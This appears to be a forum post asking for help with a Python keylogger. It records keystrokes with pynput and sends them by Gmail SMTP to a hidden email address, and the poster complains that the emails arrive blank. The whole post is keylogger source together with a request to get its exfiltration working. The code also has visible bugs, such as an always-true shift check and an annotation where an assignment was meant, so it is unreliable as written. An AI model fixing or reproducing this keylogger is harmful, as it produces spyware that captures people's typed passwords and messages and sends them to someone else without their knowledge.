This code is supposed to log my keystrokes and send them to my email (which I took out of the code for now). I do get the emails however it doesn't send them with the keystrokes, every email is blank. Does anyone know how to fix this?
import smtplib
import pynput
from pynput.keyboard import Key, Listener
email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 10
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log()
full_log = ""
elif key == Key.shift or Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char: f"{key}"
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()